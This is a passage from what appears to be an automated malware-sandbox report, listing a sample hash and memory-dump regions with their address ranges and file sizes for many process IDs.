                                                          2a2469cc5e73d21ca7eba7d90c37565028b7bb913f331a49211ec208366ab2671c74e85389ae12edec10f67dd70413b766166e4cc4fe9c6c40cd5c40bae61bda

                                                        • memory/60-246-0x0000000000000000-mapping.dmp
                                                        • memory/60-248-0x00007FF9F31F0000-0x00007FF9F3CB1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                        • memory/60-249-0x00007FF9F31F0000-0x00007FF9F3CB1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                        • memory/800-230-0x0000000000000000-mapping.dmp
                                                        • memory/808-221-0x0000000000000000-mapping.dmp
                                                        • memory/1044-143-0x0000000007720000-0x0000000007D9A000-memory.dmp
                                                          Filesize

                                                          6.5MB

                                                        • memory/1044-142-0x00000000060E0000-0x00000000060FE000-memory.dmp
                                                          Filesize

                                                          120KB

                                                        • memory/1044-137-0x0000000000000000-mapping.dmp
                                                        • memory/1044-138-0x0000000004B30000-0x0000000004B66000-memory.dmp
                                                          Filesize

                                                          216KB

                                                        • memory/1044-139-0x0000000005200000-0x0000000005828000-memory.dmp
                                                          Filesize

                                                          6.2MB

                                                        • memory/1044-140-0x0000000005A00000-0x0000000005A66000-memory.dmp
                                                          Filesize

                                                          408KB

                                                        • memory/1044-141-0x0000000005A70000-0x0000000005AD6000-memory.dmp
                                                          Filesize

                                                          408KB

                                                        • memory/1044-144-0x00000000065F0000-0x000000000660A000-memory.dmp
                                                          Filesize

                                                          104KB

                                                        • memory/1400-171-0x0000000000000000-mapping.dmp
                                                        • memory/1400-197-0x0000000000DE0000-0x00000000020A6000-memory.dmp
                                                          Filesize

                                                          18.8MB

                                                        • memory/1400-177-0x0000000000DE0000-0x00000000020A6000-memory.dmp
                                                          Filesize

                                                          18.8MB

                                                        • memory/1400-250-0x0000000000DE0000-0x00000000020A6000-memory.dmp
                                                          Filesize

                                                          18.8MB

                                                        • memory/1452-217-0x0000000000000000-mapping.dmp
                                                        • memory/1532-212-0x0000000000000000-mapping.dmp
                                                        • memory/1568-209-0x0000000000000000-mapping.dmp
                                                        • memory/1712-172-0x0000000000000000-mapping.dmp
                                                        • memory/1720-245-0x00007FF9F31F0000-0x00007FF9F3CB1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                        • memory/1720-239-0x0000000000000000-mapping.dmp
                                                        • memory/1720-243-0x00007FF9F31F0000-0x00007FF9F3CB1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                        • memory/1740-225-0x0000000000000000-mapping.dmp
                                                        • memory/1828-234-0x00007FF9F31F0000-0x00007FF9F3CB1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                        • memory/1828-232-0x0000020CA7990000-0x0000020CA79B2000-memory.dmp
                                                          Filesize

                                                          136KB

                                                        • memory/1828-231-0x0000000000000000-mapping.dmp
                                                        • memory/1828-238-0x00007FF9F31F0000-0x00007FF9F3CB1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                        • memory/1972-148-0x0000000000400000-0x0000000000414000-memory.dmp
                                                          Filesize

                                                          80KB

                                                        • memory/1972-153-0x0000000000400000-0x0000000000414000-memory.dmp
                                                          Filesize

                                                          80KB

                                                        • memory/1972-149-0x0000000000400000-0x0000000000414000-memory.dmp
                                                          Filesize

                                                          80KB

                                                        • memory/1972-146-0x0000000000400000-0x0000000000414000-memory.dmp
                                                          Filesize

                                                          80KB

                                                        • memory/1972-145-0x0000000000000000-mapping.dmp
                                                        • memory/2164-206-0x0000000000000000-mapping.dmp
                                                        • memory/2272-158-0x0000000000000000-mapping.dmp
                                                        • memory/2272-164-0x0000000000620000-0x00000000013F9000-memory.dmp
                                                          Filesize

                                                          13.8MB

                                                        • memory/2272-204-0x0000000000620000-0x00000000013F9000-memory.dmp
                                                          Filesize

                                                          13.8MB

                                                        • memory/2272-195-0x0000000000620000-0x00000000013F9000-memory.dmp
                                                          Filesize

                                                          13.8MB

                                                        • memory/2276-229-0x0000000000000000-mapping.dmp
                                                        • memory/2280-226-0x0000000000000000-mapping.dmp
                                                        • memory/2320-222-0x0000000000000000-mapping.dmp
                                                        • memory/2352-219-0x0000000000000000-mapping.dmp
                                                        • memory/2372-211-0x0000000000000000-mapping.dmp
                                                        • memory/2452-218-0x0000000000000000-mapping.dmp
                                                        • memory/2540-253-0x00000000051C0000-0x00000000052CA000-memory.dmp
                                                          Filesize

                                                          1.0MB

                                                        • memory/2540-255-0x0000000005140000-0x000000000517C000-memory.dmp
                                                          Filesize

                                                          240KB

                                                        • memory/2540-254-0x00000000050E0000-0x00000000050F2000-memory.dmp
                                                          Filesize

                                                          72KB

                                                        • memory/2540-189-0x0000000000000000-mapping.dmp
                                                        • memory/2540-251-0x0000000000400000-0x0000000000460000-memory.dmp
                                                          Filesize

                                                          384KB

                                                        • memory/2540-252-0x00000000056D0000-0x0000000005CE8000-memory.dmp
                                                          Filesize

                                                          6.1MB

                                                        • memory/2544-213-0x0000000000000000-mapping.dmp
                                                        • memory/2796-154-0x0000000000000000-mapping.dmp
                                                        • memory/2796-157-0x0000000000340000-0x00000000003D6000-memory.dmp
                                                          Filesize

                                                          600KB

                                                        • memory/2824-208-0x0000000000000000-mapping.dmp
                                                        • memory/3036-179-0x0000000000000000-mapping.dmp
                                                        • memory/3068-235-0x0000000000000000-mapping.dmp
                                                        • memory/3296-227-0x0000000000000000-mapping.dmp
                                                        • memory/3372-136-0x0000000006490000-0x00000000064B2000-memory.dmp
                                                          Filesize

                                                          136KB

                                                        • memory/3372-132-0x0000000004AF0000-0x0000000005094000-memory.dmp
                                                          Filesize

                                                          5.6MB

                                                        • memory/3372-135-0x00000000059C0000-0x0000000005A5C000-memory.dmp
                                                          Filesize

                                                          624KB

                                                        • memory/3372-215-0x0000000000000000-mapping.dmp
                                                        • memory/3372-134-0x00000000059B0000-0x00000000059BA000-memory.dmp
                                                          Filesize

                                                          40KB

                                                        • memory/3372-133-0x00000000053E0000-0x0000000005472000-memory.dmp
                                                          Filesize

                                                          584KB

                                                        • memory/3400-220-0x0000000000000000-mapping.dmp
                                                        • memory/3504-165-0x0000000000F10000-0x0000000000F24000-memory.dmp
                                                          Filesize

                                                          80KB

                                                        • memory/3504-161-0x0000000000000000-mapping.dmp
                                                        • memory/3516-191-0x0000000007460000-0x00000000074F6000-memory.dmp
                                                          Filesize

                                                          600KB

                                                        • memory/3516-187-0x00000000742F0000-0x000000007433C000-memory.dmp
                                                          Filesize

                                                          304KB

                                                        • memory/3516-188-0x0000000006460000-0x000000000647E000-memory.dmp
                                                          Filesize

                                                          120KB

                                                        • memory/3516-198-0x0000000007240000-0x000000000724E000-memory.dmp
                                                          Filesize

                                                          56KB

                                                        • memory/3516-186-0x0000000006E30000-0x0000000006E62000-memory.dmp
                                                          Filesize

                                                          200KB

                                                        • memory/3516-199-0x0000000007400000-0x000000000741A000-memory.dmp
                                                          Filesize

                                                          104KB

                                                        • memory/3516-207-0x00000000073E0000-0x00000000073E8000-memory.dmp
                                                          Filesize

                                                          32KB

                                                        • memory/3516-190-0x0000000005CE0000-0x0000000005CEA000-memory.dmp
                                                          Filesize

                                                          40KB

                                                        • memory/3516-182-0x0000000000000000-mapping.dmp
                                                        • memory/3792-201-0x0000000000000000-mapping.dmp
                                                        • memory/3792-205-0x0000000000530000-0x0000000000546000-memory.dmp
                                                          Filesize

                                                          88KB

                                                        • memory/3792-244-0x0000000005140000-0x000000000514A000-memory.dmp
                                                          Filesize

                                                          40KB

                                                        • memory/3912-237-0x0000000000000000-mapping.dmp
                                                        • memory/3988-240-0x0000000000000000-mapping.dmp
                                                        • memory/4032-180-0x0000000000000000-mapping.dmp
                                                        • memory/4244-236-0x0000000000000000-mapping.dmp
                                                        • memory/4248-200-0x0000000000000000-mapping.dmp
                                                        • memory/4372-181-0x0000000000000000-mapping.dmp
                                                        • memory/4412-176-0x0000000000000000-mapping.dmp
                                                        • memory/4536-196-0x00007FF9F31F0000-0x00007FF9F3CB1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                        • memory/4536-166-0x0000000000000000-mapping.dmp
                                                        • memory/4536-193-0x000000001B6A0000-0x000000001B6B2000-memory.dmp
                                                          Filesize

                                                          72KB

                                                        • memory/4536-194-0x000000001CF60000-0x000000001CF9C000-memory.dmp
                                                          Filesize

                                                          240KB

                                                        • memory/4536-169-0x0000000000870000-0x000000000088A000-memory.dmp
                                                          Filesize

                                                          104KB

                                                        • memory/4536-170-0x00007FF9F31F0000-0x00007FF9F3CB1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                        • memory/4548-175-0x0000000000000000-mapping.dmp
                                                        • memory/4572-223-0x0000000000000000-mapping.dmp
                                                        • memory/4772-216-0x0000000000000000-mapping.dmp
                                                        • memory/4996-210-0x0000000000000000-mapping.dmp
                                                        • memory/5012-214-0x0000000000000000-mapping.dmp
                                                        • memory/5096-228-0x0000000000000000-mapping.dmp
                                                        • memory/5108-224-0x0000000000000000-mapping.dmp